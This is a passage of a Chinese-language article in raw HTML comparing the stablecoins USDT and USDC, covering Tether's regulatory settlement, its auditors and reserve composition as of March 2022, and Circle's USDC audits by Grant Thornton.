84);letter-spacing: 0.5px;">在2021年，纽约检察长办公室发布的调查报告中显示：在2017年，泰达公司没有提供任何的公开的报表，审计报告，合同或者其他法律要求，来保证 Tether 可以被赎回或兑换成美元。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">报告中要求Bitfinex和Tether向纽约州支付1850万美元的罚款，另需提高透明度，每季度提交强制性报告，披露任何关联借款或应收款等信息，并按照分类披露USDT背后的支持资产数据。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">根据条约，纽约检察长办公室将不再对此进行起诉。和解后，Bitfinex和Tether将不承认有任何不当行为。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">再者，有调查文章显示，Bitfinex在2018年涉嫌操控比特币的价格，导致比特币的价格直接翻倍，方法则是通过使用大量的USDT来购买其他加密数字货币。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">此外，Bitfinex与泰达公司在2021年以前，还有着不少的借贷款关系。</span></section><h4 style="margin: 16px;text-align: justify;line-height: 1.75em;"><br/></h4><section style="margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid rgb(19, 57, 98);" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(19, 57, 98);line-height: 22px;letter-spacing: 1px;" data-mid="">  审 计 报 告  </p><span style="width: 100%;display: block;height: 8px;background: #E6EEF4;margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">迫于投资者和政府的压力，泰达公司向社会公开了由第三方审计公司进行审计后的报告，其中2017年1次，2018年2次，2021年4次，2022年1次。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.63359375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0ddc3fdf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMWTEK9KLlUL3RzsbPbHeGsXOeseDyLzUmicWa97dDIqqOKupnUzqSXJA%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">比较有意思的是，泰达请的第三方审计公司Friedman LLP，曾与Tether和Bitfinex一起被美国商品期货交易委员会（U.S. Commodity Futures Trading Commission）发过传票，FSS则声明说自己不是会计师事务所，没有使用公认会计原则进行上述审查和确认。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">之后泰达公司陆续换了两家（MOORE为mha CAYMAN的前身）第三方审计机构进行审计，现如今使用的第三方审计机构为mha CAYMAN。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">LinkedIn的资料显示，mha CAYMAN创立于2005年，注册地点位于南美洲的开曼群岛，公司主要提供的服务为会计服务，公司规模为11-50人。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">最新的审计明细中说明了，截止2022年3月31日11时59分，泰达公司总资产为$82,424,821,101，总债务为$82,262,430,079，其中发布的数字货币的总价值为$82,188,190,813。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">其总资产超过了总债务，并且数字货币的储备资金大于发布的数字货币的总价值（可以完全赎回）。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.32578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=75444b65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMKMKibiaS9LT4icShydF7B84e6MmJhfxMEJ5tLy97ZWcdPhibepfa4TVoMQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(0, 122, 170);letter-spacing: 0.5px;"><strong><span style="color: rgb(0, 122, 170);font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">泰达公司的资产分为：</span></strong></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 24px;">• </span><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">85.64% 现金 &amp; 现金等价物 &amp; 短期存款 &amp; 商业票据（Cash &amp; Cash Equivalents &amp; Other Short-Term Deposits &amp; Commercial Paper）</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">• </span>4.52% 公司债券 &amp; 基金 &amp; 贵金属（Corporate Bonds, Funds &amp; Precious Metals）</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">• </span>3.82% 担保贷款（Secured Loans）</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">• </span>6.02% 其他投资（包括数字货币）</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><span style="color: rgb(0, 122, 170);"><strong><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">其中</span></strong></span><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">，占约86%的&#34;现金 &amp; 现金等价物 &amp; 短期存款 &amp; 商业票据&#34;的更细一步的分配为：</span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">• </span>55.53% 美国国债（U.S. Treasury Bills）</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">• </span>28.47% 商业票据和存款单（Commercial Paper &amp; Certificates of Deposit）</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">• </span>5.81% 现金和银行存款（Cash &amp; Bank Deposits）</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">• </span>9.63% 货币市场基金（Money Market Funds）</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">• </span>0.41% 非美国国债（Non-U.S. Treasury Bills）</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(40, 104, 176);font-size: 24px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;">• </span>0.15% 逆回购 （Reverse Repurchase Agreements）</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br/></span></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.59921875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=178763d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldcfOy00HkI4YkNB6IA7h8jMSVJbY0tHjud7FqSZxVaC3COPQe2iaBQTWePgXlX0Ur3Fpvcgt9yen4A%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: justify;margin: 16px;line-height: 1.75em;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;letter-spacing: 0.5px;">因为USDT占泰达公司所发行的所有数字货币资产的99.5%，因此在这里锚定其他法币的稳定币（比如EURT）就忽略不计了。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;letter-spacing: 0.5px;">从上面的审计报告可以看到，USDT与现金（或现金等价物）并不是严格的1:1的兑换比，而更像是0.86:1。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;">至于剩下的14%的资产，在审计报告中没有提供任何细节，也没有资产对应的风险等级。</span></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;font-size: 12pt;">更详细的分析可以参考coinshare的调查报告（</span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;"><a href="https://coinshares.com/research/is-tether-a-systemic-risk-to-the-crypto-market" target="_blank">https://coinshares.com/research/is-tether-a-systemic-risk-to-the-crypto-market</a></span><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;font-size: 12pt;">）。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 12pt;"></span></span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">目前，USDT的总资产量已经由2022年3月31日的825亿美元跌至668亿美元，缩水近20%，这与近期数字货币暴跌有一定的关系。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><br mpa-from-tpl="t"/></span></section><section style="line-height: 1.75em;margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 158px;height: 24px;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.1518987341772152" class="rich_pages wxw-img" data-w="316" style="display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=219a6c63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fm74vILIY4OAeBwaO9t1Z8wWa9jEhGzQ7lEMa7BSI5kAK8yaegGWDMcklVsFc4g3jBOT4t829aY4oTkbVLZNo0A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><br/></section><h3 style="margin: 16px;line-height: 1.75em;"><span style="letter-spacing: 0.5px;"><strong><span style="font-size: 20px;box-sizing: border-box;transform-style: preserve-3d;text-indent: 0em;color: rgb(40, 104, 176);transform: translate3d(0px, 0px, 1px);display: inline-block;font-weight: bold;">USDC</span></strong></span></h3><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">USDC于2018年推出，是CENTRE提供的首个服务项目，CENTRE是在创始成员Circle和Coinbase的帮助下启动的开源技术项目，由Circle基于CENTRE架构开发、并受到CENTRE一系列政策的监管。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">同样的，Circle将USDC与美元进行挂钩，承诺能够进行1:1的USDC与美元兑换，每发行一个USDC，就会增加1美元的储备，Circle就会存1个USD到指定银行，并将铸造的USDC发给用户。目前，USDC的储备金由纽约梅隆银行（BNY）进行监管。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">与USDT相比，USDC更加的透明和公开，并具有更高的公信力。Circle官网展示了审计报告，监管牌照，合作伙伴，开源的交易网络协议，账户黑名单列表等一系列数据和信息。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">此外，Circle是全球第一家拿到纽约州BitLicense（虚拟货币交易许可）牌照的企业，此后又陆续拿到英国与欧盟的支付牌照，而Coinbase则是全球获得监管牌照最多的加密货币交易所。</span></section><h4 style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-weight: bold;font-size: 12pt;"><br mpa-from-tpl="t"/></span></strong></span></h4><section style="margin-top: 16px;margin-bottom: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;justify-content: flex-start;padding-left: 18px;padding-top: 2px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 17px;align-self: flex-start;margin-left: 5px;margin-bottom: -21px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="0.9444444444444444" style="display: block;" data-w="36" src="https://wechat2rss.xlab.app/img-proxy/?k=8842679f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFKDz8tsibyDNRPIvzcgKt43EQnd6ZZjvU2qa3ZNflQKaRanMGGO66TJtWic1zl8y0LzR0gVnGiaov2Kbgylic4qCYw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;padding: 0px 18px 4px 0px;border-bottom: 1px solid #133962;" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 10px 0px 26px;font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #133962;line-height: 22px;letter-spacing: 1px;" data-mid="">  审 计 报 告  </p><span style="width: 100%;display: block;height: 8px;background: #E6EEF4;margin-top: -8px;" data-mid=""></span></section><section style="width: 73px;height: 36px;align-self: flex-end;margin-right: -8px;margin-top: -22px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.4931506849315068" style="display: block;" data-w="146" src="https://wechat2rss.xlab.app/img-proxy/?k=ed254c77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5fyFoGlGwxEDySl1kPwE5j4L37Cibxd0ufIlM9f1zgWwjMSwljicQemcotRCGaiahS6nQEoPLoxukOzKSqKyvVS1A%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><section style="margin-top: 16px;margin-bottom: 16px;"><br/></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="font-size: 12pt;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);letter-spacing: 0.5px;">USDC自从2018年发行以来，每月都会委托第三方审计机构——正大会计师事务所（Grant Thornton LLP），对其资产进行审计，并公开审计报告。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">Grant Thornton LLP是Grant Thornton International的美国成员公司，按总费用收入计算，该公司是世界第七大会计网络，并且还是美国第六大会计和咨询机构。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">该公司在全美设有59个办事处，拥有约8,500名员工，550个合作伙伴，年收入超过19亿美元。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.5px;">最新的审计报告（2022年6月）中显示，流通中的USDC总量为$54,005,995,420，并且Circle公司所含有的资产至少等于流通中的USDC总量。</span></section><section style="margin: 16px;text-align: justify;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, 